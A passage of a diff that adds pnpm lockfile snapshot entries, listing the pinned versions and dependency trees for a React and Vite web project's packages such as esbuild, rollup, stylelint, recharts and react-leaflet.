7.28.5 + + '@biomejs/biome@2.4.12': + optionalDependencies: + '@biomejs/cli-darwin-arm64': 2.4.12 + '@biomejs/cli-darwin-x64': 2.4.12 + '@biomejs/cli-linux-arm64': 2.4.12 + '@biomejs/cli-linux-arm64-musl': 2.4.12 + '@biomejs/cli-linux-x64': 2.4.12 + '@biomejs/cli-linux-x64-musl': 2.4.12 + '@biomejs/cli-win32-arm64': 2.4.12 + '@biomejs/cli-win32-x64': 2.4.12 + + '@biomejs/cli-darwin-arm64@2.4.12': + optional: true + + '@biomejs/cli-darwin-x64@2.4.12': + optional: true + + '@biomejs/cli-linux-arm64-musl@2.4.12': + optional: true + + '@biomejs/cli-linux-arm64@2.4.12': + optional: true + + '@biomejs/cli-linux-x64-musl@2.4.12': + optional: true + + '@biomejs/cli-linux-x64@2.4.12': + optional: true + + '@biomejs/cli-win32-arm64@2.4.12': + optional: true + + '@biomejs/cli-win32-x64@2.4.12': + optional: true + + '@cacheable/memory@2.0.8': + dependencies: + '@cacheable/utils': 2.4.1 + '@keyv/bigmap': 1.3.1(keyv@5.6.0) + hookified: 1.15.1 + keyv: 5.6.0 + + '@cacheable/utils@2.4.1': + dependencies: + hashery: 1.5.1 + keyv: 5.6.0 + + '@csstools/css-calc@3.2.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)': + dependencies: + '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0) + '@csstools/css-tokenizer': 4.0.0 + + '@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0)': + dependencies: + '@csstools/css-tokenizer': 4.0.0 + + '@csstools/css-syntax-patches-for-csstree@1.1.3(css-tree@3.2.1)': + optionalDependencies: + css-tree: 3.2.1 + + '@csstools/css-tokenizer@4.0.0': {} + + '@csstools/media-query-list-parser@5.0.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)': + dependencies: + '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0) + '@csstools/css-tokenizer': 4.0.0 + + '@csstools/selector-resolve-nested@4.0.0(postcss-selector-parser@7.1.1)': + dependencies: + postcss-selector-parser: 7.1.1 + + '@csstools/selector-specificity@6.0.0(postcss-selector-parser@7.1.1)': + dependencies: + postcss-selector-parser: 7.1.1 + + '@esbuild/aix-ppc64@0.25.12': + optional: true + + '@esbuild/android-arm64@0.25.12': + optional: true + + '@esbuild/android-arm@0.25.12': + optional: true + + '@esbuild/android-x64@0.25.12': + optional: true + + '@esbuild/darwin-arm64@0.25.12': + optional: true + + '@esbuild/darwin-x64@0.25.12': + optional: true + + '@esbuild/freebsd-arm64@0.25.12': + optional: true + + '@esbuild/freebsd-x64@0.25.12': + optional: true + + '@esbuild/linux-arm64@0.25.12': + optional: true + + '@esbuild/linux-arm@0.25.12': + optional: true + + '@esbuild/linux-ia32@0.25.12': + optional: true + + '@esbuild/linux-loong64@0.25.12': + optional: true + + '@esbuild/linux-mips64el@0.25.12': + optional: true + + '@esbuild/linux-ppc64@0.25.12': + optional: true + + '@esbuild/linux-riscv64@0.25.12': + optional: true + + '@esbuild/linux-s390x@0.25.12': + optional: true + + '@esbuild/linux-x64@0.25.12': + optional: true + + '@esbuild/netbsd-arm64@0.25.12': + optional: true + + '@esbuild/netbsd-x64@0.25.12': + optional: true + + '@esbuild/openbsd-arm64@0.25.12': + optional: true + + '@esbuild/openbsd-x64@0.25.12': + optional: true + + '@esbuild/openharmony-arm64@0.25.12': + optional: true + + '@esbuild/sunos-x64@0.25.12': + optional: true + + '@esbuild/win32-arm64@0.25.12': + optional: true + + '@esbuild/win32-ia32@0.25.12': + optional: true + + '@esbuild/win32-x64@0.25.12': + optional: true + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@keyv/bigmap@1.3.1(keyv@5.6.0)': + dependencies: + hashery: 1.5.1 + hookified: 1.15.1 + keyv: 5.6.0 + + '@keyv/serialize@1.1.1': {} + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + + '@parcel/watcher-android-arm64@2.5.6': + optional: true + + '@parcel/watcher-darwin-arm64@2.5.6': + optional: true + + '@parcel/watcher-darwin-x64@2.5.6': + optional: true + + '@parcel/watcher-freebsd-x64@2.5.6': + optional: true + + '@parcel/watcher-linux-arm-glibc@2.5.6': + optional: true + + '@parcel/watcher-linux-arm-musl@2.5.6': + optional: true + + '@parcel/watcher-linux-arm64-glibc@2.5.6': + optional: true + + '@parcel/watcher-linux-arm64-musl@2.5.6': + optional: true + + '@parcel/watcher-linux-x64-glibc@2.5.6': + optional: true + + '@parcel/watcher-linux-x64-musl@2.5.6': + optional: true + + '@parcel/watcher-win32-arm64@2.5.6': + optional: true + + '@parcel/watcher-win32-ia32@2.5.6': + optional: true + + '@parcel/watcher-win32-x64@2.5.6': + optional: true + + '@parcel/watcher@2.5.6': + dependencies: + detect-libc: 2.1.2 + is-glob: 4.0.3 + node-addon-api: 7.1.1 + picomatch: 4.0.4 + optionalDependencies: + '@parcel/watcher-android-arm64': 2.5.6 + '@parcel/watcher-darwin-arm64': 2.5.6 + '@parcel/watcher-darwin-x64': 2.5.6 + '@parcel/watcher-freebsd-x64': 2.5.6 + '@parcel/watcher-linux-arm-glibc': 2.5.6 + '@parcel/watcher-linux-arm-musl': 2.5.6 + '@parcel/watcher-linux-arm64-glibc': 2.5.6 + '@parcel/watcher-linux-arm64-musl': 2.5.6 + '@parcel/watcher-linux-x64-glibc': 2.5.6 + '@parcel/watcher-linux-x64-musl': 2.5.6 + '@parcel/watcher-win32-arm64': 2.5.6 + '@parcel/watcher-win32-ia32': 2.5.6 + '@parcel/watcher-win32-x64': 2.5.6 + optional: true + + '@react-leaflet/core@3.0.0(leaflet@1.9.4)(react-dom@19.2.5(react@19.2.5))(react@19.2.5)': + dependencies: + leaflet: 1.9.4 + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + + '@rolldown/pluginutils@1.0.0-beta.27': {} + + '@rollup/rollup-android-arm-eabi@4.60.1': + optional: true + + '@rollup/rollup-android-arm64@4.60.1': + optional: true + + '@rollup/rollup-darwin-arm64@4.60.1': + optional: true + + '@rollup/rollup-darwin-x64@4.60.1': + optional: true + + '@rollup/rollup-freebsd-arm64@4.60.1': + optional: true + + '@rollup/rollup-freebsd-x64@4.60.1': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.60.1': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.60.1': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.60.1': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.60.1': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.60.1': + optional: true + + '@rollup/rollup-linux-loong64-musl@4.60.1': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.60.1': + optional: true + + '@rollup/rollup-linux-ppc64-musl@4.60.1': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.60.1': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.60.1': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.60.1': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.60.1': + optional: true + + '@rollup/rollup-linux-x64-musl@4.60.1': + optional: true + + '@rollup/rollup-openbsd-x64@4.60.1': + optional: true + + '@rollup/rollup-openharmony-arm64@4.60.1': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.60.1': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.60.1': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.60.1': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.60.1': + optional: true + + '@sindresorhus/merge-streams@4.0.0': {} + + '@tanstack/query-core@5.99.0': {} + + '@tanstack/react-query@5.99.0(react@19.2.5)': + dependencies: + '@tanstack/query-core': 5.99.0 + react: 19.2.5 + + '@types/babel__core@7.20.5': + dependencies: + '@babel/parser': 7.29.2 + '@babel/types': 7.29.0 + '@types/babel__generator': 7.27.0 + '@types/babel__template': 7.4.4 + '@types/babel__traverse': 7.28.0 + + '@types/babel__generator@7.27.0': + dependencies: + '@babel/types': 7.29.0 + + '@types/babel__template@7.4.4': + dependencies: + '@babel/parser': 7.29.2 + '@babel/types': 7.29.0 + + '@types/babel__traverse@7.28.0': + dependencies: + '@babel/types': 7.29.0 + + '@types/d3-array@3.2.2': {} + + '@types/d3-color@3.1.3': {} + + '@types/d3-ease@3.0.2': {} + + '@types/d3-interpolate@3.0.4': + dependencies: + '@types/d3-color': 3.1.3 + + '@types/d3-path@3.1.1': {} + + '@types/d3-scale@4.0.9': + dependencies: + '@types/d3-time': 3.0.4 + + '@types/d3-shape@3.1.8': + dependencies: + '@types/d3-path': 3.1.1 + + '@types/d3-time@3.0.4': {} + + '@types/d3-timer@3.0.2': {} + + '@types/estree@1.0.8': {} + + '@types/geojson@7946.0.16': {} + + '@types/leaflet@1.9.21': + dependencies: + '@types/geojson': 7946.0.16 + + '@types/node@25.6.0': + dependencies: + undici-types: 7.19.2 + + '@types/react-dom@19.2.3(@types/react@19.2.14)': + dependencies: + '@types/react': 19.2.14 + + '@types/react@19.2.14': + dependencies: + csstype: 3.2.3 + + '@vitejs/plugin-react@4.7.0(vite@6.4.2(@types/node@25.6.0)(sass@1.99.0))': + dependencies: + '@babel/core': 7.29.0 + '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.29.0) + '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.29.0) + '@rolldown/pluginutils': 1.0.0-beta.27 + '@types/babel__core': 7.20.5 + react-refresh: 0.17.0 + vite: 6.4.2(@types/node@25.6.0)(sass@1.99.0) + transitivePeerDependencies: + - supports-color + + '@xterm/addon-fit@0.10.0(@xterm/xterm@5.5.0)': + dependencies: + '@xterm/xterm': 5.5.0 + + '@xterm/xterm@5.5.0': {} + + ajv@8.18.0: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.1.0 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + + ansi-regex@5.0.1: {} + + ansi-regex@6.2.2: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + argparse@2.0.1: {} + + astral-regex@2.0.0: {} + + asynckit@0.4.0: {} + + axios@1.15.0: + dependencies: + follow-redirects: 1.16.0 + form-data: 4.0.5 + proxy-from-env: 2.1.0 + transitivePeerDependencies: + - debug + + baseline-browser-mapping@2.10.19: {} + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + browserslist@4.28.2: + dependencies: + baseline-browser-mapping: 2.10.19 + caniuse-lite: 1.0.30001788 + electron-to-chromium: 1.5.338 + node-releases: 2.0.37 + update-browserslist-db: 1.2.3(browserslist@4.28.2) + + cacheable@2.3.4: + dependencies: + '@cacheable/memory': 2.0.8 + '@cacheable/utils': 2.4.1 + hookified: 1.15.1 + keyv: 5.6.0 + qified: 0.9.1 + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + callsites@3.1.0: {} + + caniuse-lite@1.0.30001788: {} + + chokidar@4.0.3: + dependencies: + readdirp: 4.1.2 + + clsx@2.1.1: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + colord@2.9.3: {} + + combined-stream@1.0.8: + dependencies: + delayed-stream: 1.0.0 + + convert-source-map@2.0.0: {} + + cookie@1.1.1: {} + + cosmiconfig@9.0.1(typescript@5.9.3): + dependencies: + env-paths: 2.2.1 + import-fresh: 3.3.1 + js-yaml: 4.1.1 + parse-json: 5.2.0 + optionalDependencies: + typescript: 5.9.3 + + css-functions-list@3.3.3: {} + + css-tree@3.2.1: + dependencies: + mdn-data: 2.27.1 + source-map-js: 1.2.1 + + cssesc@3.0.0: {} + + csstype@3.2.3: {} + + d3-array@3.2.4: + dependencies: + internmap: 2.0.3 + + d3-color@3.1.0: {} + + d3-ease@3.0.1: {} + + d3-format@3.1.2: {} + + d3-interpolate@3.0.1: + dependencies: + d3-color: 3.1.0 + + d3-path@3.1.0: {} + + d3-scale@4.0.2: + dependencies: + d3-array: 3.2.4 + d3-format: 3.1.2 + d3-interpolate: 3.0.1 + d3-time: 3.1.0 + d3-time-format: 4.1.0 + + d3-shape@3.2.0: + dependencies: + d3-path: 3.1.0 + + d3-time-format@4.1.0: + dependencies: + d3-time: 3.1.0 + + d3-time@3.1.0: + dependencies: + d3-array: 3.2.4 + + d3-timer@3.0.1: {} + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + decimal.js-light@2.5.1: {} + + delayed-stream@1.0.0: {} + + detect-libc@2.1.2: + optional: true + + dom-helpers@5.2.1: + dependencies: + '@babel/runtime': 7.29.2 + csstype: 3.2.3 + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + electron-to-chromium@1.5.338: {} + + emoji-regex@8.0.0: {} + + env-paths@2.2.1: {} + + error-ex@1.3.4: + dependencies: + is-arrayish: 0.2.1 + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + esbuild@0.25.12: + optionalDependencies: + '@esbuild/aix-ppc64': 0.25.12 + '@esbuild/android-arm': 0.25.12 + '@esbuild/android-arm64': 0.25.12 + '@esbuild/android-x64': 0.25.12 + '@esbuild/darwin-arm64': 0.25.12 + '@esbuild/darwin-x64': 0.25.12 + '@esbuild/freebsd-arm64': 0.25.12 + '@esbuild/freebsd-x64': 0.25.12 + '@esbuild/linux-arm': 0.25.12 + '@esbuild/linux-arm64': 0.25.12 + '@esbuild/linux-ia32': 0.25.12 + '@esbuild/linux-loong64': 0.25.12 + '@esbuild/linux-mips64el': 0.25.12 + '@esbuild/linux-ppc64': 0.25.12 + '@esbuild/linux-riscv64': 0.25.12 + '@esbuild/linux-s390x': 0.25.12 + '@esbuild/linux-x64': 0.25.12 + '@esbuild/netbsd-arm64': 0.25.12 + '@esbuild/netbsd-x64': 0.25.12 + '@esbuild/openbsd-arm64': 0.25.12 + '@esbuild/openbsd-x64': 0.25.12 + '@esbuild/openharmony-arm64': 0.25.12 + '@esbuild/sunos-x64': 0.25.12 + '@esbuild/win32-arm64': 0.25.12 + '@esbuild/win32-ia32': 0.25.12 + '@esbuild/win32-x64': 0.25.12 + + escalade@3.2.0: {} + + eventemitter3@4.0.7: {} + + fast-deep-equal@3.1.3: {} + + fast-equals@5.4.0: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-uri@3.1.0: {} + + fastest-levenshtein@1.0.16: {} + + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + + fdir@6.5.0(picomatch@4.0.4): + optionalDependencies: + picomatch: 4.0.4 + + file-entry-cache@11.1.2: + dependencies: + flat-cache: 6.1.22 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + flat-cache@6.1.22: + dependencies: + cacheable: 2.3.4 + flatted: 3.4.2 + hookified: 1.15.1 + + flatted@3.4.2: {} + + follow-redirects@1.16.0: {} + + form-data@4.0.5: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + es-set-tostringtag: 2.1.0 + hasown: 2.0.2 + mime-types: 2.1.35 + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + gensync@1.0.0-beta.2: {} + + get-east-asian-width@1.5.0: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + global-modules@2.0.0: + dependencies: + global-prefix: 3.0.0 + + global-prefix@3.0.0: + dependencies: + ini: 1.3.8 + kind-of: 6.0.3 + which: 1.3.1 + + globby@16.2.0: + dependencies: + '@sindresorhus/merge-streams': 4.0.0 + fast-glob: 3.3.3 + ignore: 7.0.5 + is-path-inside: 4.0.0 + slash: 5.1.0 + unicorn-magic: 0.4.0 + + globjoin@0.1.4: {} + + gopd@1.2.0: {} + + has-flag@5.0.1: {} + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hashery@1.5.1: + dependencies: + hookified: 1.15.1 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + hookified@1.15.1: {} + + hookified@2.1.1: {} + + html-tags@5.1.0: {} + + ignore@7.0.5: {} + + immutable@5.1.5: {} + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + import-meta-resolve@4.2.0: {} + + ini@1.3.8: {} + + internmap@2.0.3: {} + + is-arrayish@0.2.1: {} + + is-extglob@2.1.1: {} + + is-fullwidth-code-point@3.0.0: {} + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-number@7.0.0: {} + + is-path-inside@4.0.0: {} + + is-plain-object@5.0.0: {} + + isexe@2.0.0: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.1: + dependencies: + argparse: 2.0.1 + + jsesc@3.1.0: {} + + json-parse-even-better-errors@2.3.1: {} + + json-schema-traverse@1.0.0: {} + + json5@2.2.3: {} + + keyv@5.6.0: + dependencies: + '@keyv/serialize': 1.1.1 + + kind-of@6.0.3: {} + + known-css-properties@0.37.0: {} + + leaflet@1.9.4: {} + + lines-and-columns@1.2.4: {} + + lodash.truncate@4.4.2: {} + + lodash@4.18.1: {} + + loose-envify@1.4.0: + dependencies: + js-tokens: 4.0.0 + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + math-intrinsics@1.1.0: {} + + mathml-tag-names@4.0.0: {} + + mdn-data@2.27.1: {} + + mdn-data@2.28.0: {} + + meow@14.1.0: {} + + merge2@1.4.1: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.2 + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + ms@2.1.3: {} + + nanoid@3.3.11: {} + + node-addon-api@7.1.1: + optional: true + + node-releases@2.0.37: {} + + normalize-path@3.0.0: {} + + object-assign@4.1.1: {} + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + parse-json@5.2.0: + dependencies: + '@babel/code-frame': 7.29.0 + error-ex: 1.3.4 + json-parse-even-better-errors: 2.3.1 + lines-and-columns: 1.2.4 + + picocolors@1.1.1: {} + + picomatch@2.3.2: {} + + picomatch@4.0.4: {} + + postcss-media-query-parser@0.2.3: {} + + postcss-resolve-nested-selector@0.1.6: {} + + postcss-safe-parser@7.0.1(postcss@8.5.10): + dependencies: + postcss: 8.5.10 + + postcss-scss@4.0.9(postcss@8.5.10): + dependencies: + postcss: 8.5.10 + + postcss-selector-parser@7.1.1: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-value-parser@4.2.0: {} + + postcss@8.5.10: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prop-types@15.8.1: + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + + proxy-from-env@2.1.0: {} + + qified@0.9.1: + dependencies: + hookified: 2.1.1 + + queue-microtask@1.2.3: {} + + react-dom@19.2.5(react@19.2.5): + dependencies: + react: 19.2.5 + scheduler: 0.27.0 + + react-is@16.13.1: {} + + react-is@18.3.1: {} + + react-leaflet@5.0.0(leaflet@1.9.4)(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + '@react-leaflet/core': 3.0.0(leaflet@1.9.4)(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + leaflet: 1.9.4 + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + + react-refresh@0.17.0: {} + + react-router-dom@7.14.1(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + react-router: 7.14.1(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + + react-router@7.14.1(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + cookie: 1.1.1 + react: 19.2.5 + set-cookie-parser: 2.7.2 + optionalDependencies: + react-dom: 19.2.5(react@19.2.5) + + react-smooth@4.0.4(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + fast-equals: 5.4.0 + prop-types: 15.8.1 + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + react-transition-group: 4.4.5(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + + react-transition-group@4.4.5(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + '@babel/runtime': 7.29.2 + dom-helpers: 5.2.1 + loose-envify: 1.4.0 + prop-types: 15.8.1 + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + + react@19.2.5: {} + + readdirp@4.1.2: {} + + recharts-scale@0.4.5: + dependencies: + decimal.js-light: 2.5.1 + + recharts@2.15.4(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + clsx: 2.1.1 + eventemitter3: 4.0.7 + lodash: 4.18.1 + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + react-is: 18.3.1 + react-smooth: 4.0.4(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + recharts-scale: 0.4.5 + tiny-invariant: 1.3.3 + victory-vendor: 36.9.2 + + require-from-string@2.0.2: {} + + resolve-from@4.0.0: {} + + reusify@1.1.0: {} + + rollup@4.60.1: + dependencies: + '@types/estree': 1.0.8 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.60.1 + '@rollup/rollup-android-arm64': 4.60.1 + '@rollup/rollup-darwin-arm64': 4.60.1 + '@rollup/rollup-darwin-x64': 4.60.1 + '@rollup/rollup-freebsd-arm64': 4.60.1 + '@rollup/rollup-freebsd-x64': 4.60.1 + '@rollup/rollup-linux-arm-gnueabihf': 4.60.1 + '@rollup/rollup-linux-arm-musleabihf': 4.60.1 + '@rollup/rollup-linux-arm64-gnu': 4.60.1 + '@rollup/rollup-linux-arm64-musl': 4.60.1 + '@rollup/rollup-linux-loong64-gnu': 4.60.1 + '@rollup/rollup-linux-loong64-musl': 4.60.1 + '@rollup/rollup-linux-ppc64-gnu': 4.60.1 + '@rollup/rollup-linux-ppc64-musl': 4.60.1 + '@rollup/rollup-linux-riscv64-gnu': 4.60.1 + '@rollup/rollup-linux-riscv64-musl': 4.60.1 + '@rollup/rollup-linux-s390x-gnu': 4.60.1 + '@rollup/rollup-linux-x64-gnu': 4.60.1 + '@rollup/rollup-linux-x64-musl': 4.60.1 + '@rollup/rollup-openbsd-x64': 4.60.1 + '@rollup/rollup-openharmony-arm64': 4.60.1 + '@rollup/rollup-win32-arm64-msvc': 4.60.1 + '@rollup/rollup-win32-ia32-msvc': 4.60.1 + '@rollup/rollup-win32-x64-gnu': 4.60.1 + '@rollup/rollup-win32-x64-msvc': 4.60.1 + fsevents: 2.3.3 + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + sass@1.99.0: + dependencies: + chokidar: 4.0.3 + immutable: 5.1.5 + source-map-js: 1.2.1 + optionalDependencies: + '@parcel/watcher': 2.5.6 + + scheduler@0.27.0: {} + + semver@6.3.1: {} + + set-cookie-parser@2.7.2: {} + + signal-exit@4.1.0: {} + + slash@5.1.0: {} + + slice-ansi@4.0.0: + dependencies: + ansi-styles: 4.3.0 + astral-regex: 2.0.0 + is-fullwidth-code-point: 3.0.0 + + sonner@2.0.7(react-dom@19.2.5(react@19.2.5))(react@19.2.5): + dependencies: + react: 19.2.5 + react-dom: 19.2.5(react@19.2.5) + + source-map-js@1.2.1: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string-width@8.2.0: + dependencies: + get-east-asian-width: 1.5.0 + strip-ansi: 7.2.0 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-ansi@7.2.0: + dependencies: + ansi-regex: 6.2.2 + + stylelint-config-prettier-scss@1.0.0(stylelint@17.8.0(typescript@5.9.3)): + dependencies: + stylelint: 17.8.0(typescript@5.9.3) + + stylelint-config-recommended-scss@17.0.1(postcss@8.5.10)(stylelint@17.8.0(typescript@5.9.3)): + dependencies: + postcss-scss: 4.0.9(postcss@8.5.10) + stylelint: 17.8.0(typescript@5.9.3) + stylelint-config-recommended: 18.0.0(stylelint@17.8.0(typescript@5.9.3)) + stylelint-scss: 7.0.0(stylelint@17.8.0(typescript@5.9.3)) + optionalDependencies: + postcss: 8.5.10 + + stylelint-config-recommended@18.0.0(stylelint@17.8.0(typescript@5.9.3)): + dependencies: + stylelint: 17.8.0(typescript@5.9.3) + + stylelint-config-standard-scss@17.0.0(postcss@8.5.10)(stylelint@17.8.0(typescript@5.9.3)): + dependencies: + stylelint: 17.8.0(typescript@5.9.3) + stylelint-config-recommended-scss: 17.0.1(postcss@8.5.10)(stylelint@17.8.0(typescript@5.9.3)) + stylelint-config-standard: 40.0.0(stylelint@17.8.0(typescript@5.9.3)) + optionalDependencies: + postcss: 8.5.10 + + stylelint-config-standard@40.0.0(stylelint@17.8.0(typescript@5.9.3)): + dependencies: + stylelint: 17.8.0(typescript@5.9.3) + stylelint-config-recommended: 18.0.0(stylelint@17.8.0(typescript@5.9.3)) + + stylelint-scss@7.0.0(stylelint@17.8.0(typescript@5.9.3)): + dependencies: + css-tree: 3.2.1 + is-plain-object: 5.0.0 + known-css-properties: 0.37.0 + mdn-data: 2.28.0 + postcss-media-query-parser: 0.2.3 + postcss-resolve-nested-selector: 0.1.6 + postcss-selector-parser: 7.1.1 + postcss-value-parser: 4.2.0 + stylelint: 17.8.0(typescript@5.9.3) + + stylelint@17.8.0(typescript@5.9.3): + dependencies: + '@csstools/css-calc': 3.2.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0) + '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0) + '@csstools/css-syntax-patches-for-csstree': 1.1.3(css-tree@3.2.1) + '@csstools/css-tokenizer': 4.0.0 + '@csstools/media-query-list-parser': 5.0.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0) + '@csstools/selector-resolve-nested': 4.0.0(postcss-selector-parser@7.1.1) + '@csstools/selector-specificity': 6.0.0(postcss-selector-parser@7.1.1) + colord: 2.9.3 + cosmiconfig: 9.0.1(typescript@5.9.3) + css-functions-list: 3.3.3 + css-tree: 3.2.1 + debug: 4.4.3 + fast-glob: 3.3.3 + fastest-levenshtein: 1.0.16 + file-entry-cache: 11.1.2 + global-modules: 2.0.0 + globby: 16.2.0 + globjoin: 0.1.4 + html-tags: 5.1.0 + ignore: 7.0.5 + import-meta-resolve: 4.2.0 + is-plain-object: 5.0.0 + mathml-tag-names: 4.0.0 + meow: 14.1.0 + micromatch: 4.0.8 + normalize-path: 3.0.0 + picocolors: 1.1.1 + postcss: 8.5.10 + postcss-safe-parser: 7.0.1(postcss@8.5.10) + postcss-selector-parser: 7.1.1 + postcss-value-parser: 4.2.0 + string-width: 8.2.0 + supports-hyperlinks: 4.4.0 + svg-tags: 1.0.0 + table: 6.9.0 + write-file-atomic: 7.0.1 + transitivePeerDependencies: + - supports-color + - typescript + + supports-color@10.2.2: {} + + supports-hyperlinks@4.4.0: + dependencies: + has-flag: 5.0.1 + supports-color: 10.2.2 + + svg-tags@1.0.0: {} + + table@6.9.0: + dependencies: + ajv: 8.18.0 + lodash.truncate: 4.4.2 + slice-ansi: 4.0.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + + tiny-invariant@1.3.3: {} + + tinyglobby@0.2.16: + dependencies: + fdir: 6.5.0(picomatch@4.0.4) + picomatch: 4.0.4 + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + typescript@5.9.3: {} + + undici-types@7.19.2: {} + + unicorn-magic@0.4.0: {} + + update-browserslist-db@1.2.3(browserslist@4.28.2): + dependencies: + browserslist: 4.28.2 + escalade: 3.2.0 + picocolors: 1.1.1 + + util-deprecate@1.0.2: {} + + victory-vendor@36.9.2: + dependencies: + '@types/d3-array': 3.2.2 + '@types/d3-ease': 3.0.2 + '@types/d3-interpolate': 3.0.4 + '@types/d3-scale': 4.0.9 + '@types/d3-shape': 3.1.8 + '@types/d3-time': 3.0.4 